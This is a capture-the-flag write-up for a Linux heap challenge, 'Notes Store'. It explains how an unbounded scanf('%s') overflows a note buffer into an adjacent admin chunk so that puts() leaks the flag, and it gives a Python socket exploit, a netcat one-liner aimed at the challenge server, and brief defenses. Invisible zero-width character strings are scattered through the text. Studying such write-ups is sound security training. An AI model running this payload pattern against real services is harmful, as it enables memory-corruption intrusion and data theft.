← Back to Writeups
CUSTOMEasypwn

Хранилище заметок (Notes Store)

XESXOR9/2/20263 min read
#pwn#custom#easy#adjacent-heap-chunk-overwrite#heap-buffer-overflow-via-unsaf#information-leak-through-puts(#linux

Хранилище заметок (Notes Store)

Platform: hackerlab | Category: pwn | Type: Challenge | Difficulty: Easy | OS: Linux | Author: XESXOR | Date: 2025-12-24 | Status: Solved Techniques: Adjacent heap chunk overwrite, Heap Buffer Overflow via unsafe scanf("%s"), Information leak through puts() reading beyond buffer

Summary

Task: Notes storage application with admin note containing the flag. Solution: Heap buffer overflow via unsafe scanf("%s") to overwrite adjacent admin note chunk, then leak flag through puts() reading beyond buffer boundary.

Хранилище заметок — hackerlab

Description

Я создал своё собственное хранилище заметок. Удобно и просто, а главное - безопасно, ведь к моей заметке админа нет ни у кого доступа!

Target: 62.173.140.174:27800

Analysis

Application Functionality

64-bit ELF binary with functions:

  1. createNote - создание заметки (malloc(0x400))
  2. editNote - редактирование заметки
  3. deleteNote - удаление заметки
  4. viewNote - view note (blocks access to admin note)

Vulnerability

The editNote function uses an unsafe call: ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

c
scanf("%s", buffer);  // NO SIZE LIMIT!

The buffer is allocated via malloc(0x400) (1024 bytes), but scanf("%s") reads an unlimited number of characters until the first space/newline.

Heap Layout

+------------------+
| notes array      |  <- structure with pointers to notes
+------------------+
| test note data   |  <- 0x400 bytes (our note)
+------------------+
| chunk header     |  <- 0x10 bytes (malloc metadata)
+------------------+
| admin note data  |  <- contains FLAG from env
+------------------+

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Exploitation Mechanism

  1. When creating the first note, an admin note with the flag is automatically created
  2. viewNote checks noteIndex == adminNoteIndex and blocks direct access
  3. The checkAndUpdateAdminNote function compares admin note contents with FLAG env var
  4. By overflowing the test note buffer, we overwrite admin note data
  5. checkAndUpdateAdminNote detects the changed data and restores the FLAG
  6. puts() when outputting test note doesn't stop at buffer boundary and reads until null-byte, leaking admin note data ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Solution

python
#!/usr/bin/env python3
import socket

def exploit():
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect(("62.173.140.174", 27800))
    
    # Receive initial menu
    s.recv(4096)
    
    # 1. Create test note (admin note is auto-created)
    s.send(b"1\n")
    s.recv(4096)
    
    # 2. Edit test note with overflow payload
    s.send(b"2\n")  # Edit option
    s.recv(4096)
    s.send(b"1\n")  # Note index 1
    s.recv(4096)
    
    # Overflow: 0x400 bytes buffer + 0x10 chunk header + overwrite admin data
    # This corrupts admin note, triggering FLAG restoration
    payload = b"A" * 0x400 + b"B" * 0x10 + b"OVERWRITTEN"
    s.send(payload + b"\n")
    s.recv(4096)
    
    # 3. View test note - puts() will leak admin note data including FLAG
    s.send(b"4\n")  # View option
    s.recv(4096)
    s.send(b"1\n")  # Note index 1
    
    # Receive output containing leaked FLAG
    response = s.recv(8192)
    print(response.decode('utf-8', errors='ignore'))
    
    s.close()
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

if __name__ == "__main__":
    exploit()

Alternative One-liner (netcat)

bash
(echo "1"; sleep 0.1; echo "2"; sleep 0.1; echo "1"; sleep 0.1; \
 python3 -c "print('A'*0x400 + 'B'*0x10 + 'X')"; sleep 0.1; \
 echo "4"; sleep 0.1; echo "1") | nc 62.173.140.174 27800

Defense

  • Use scanf("%1023s", buffer) with size limit
  • Use fgets(buffer, sizeof(buffer), stdin)
  • Enable heap canaries and ASLR
  • Do not store sensitive data in adjacent heap chunks
  • Use separate memory pools for different access levels ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍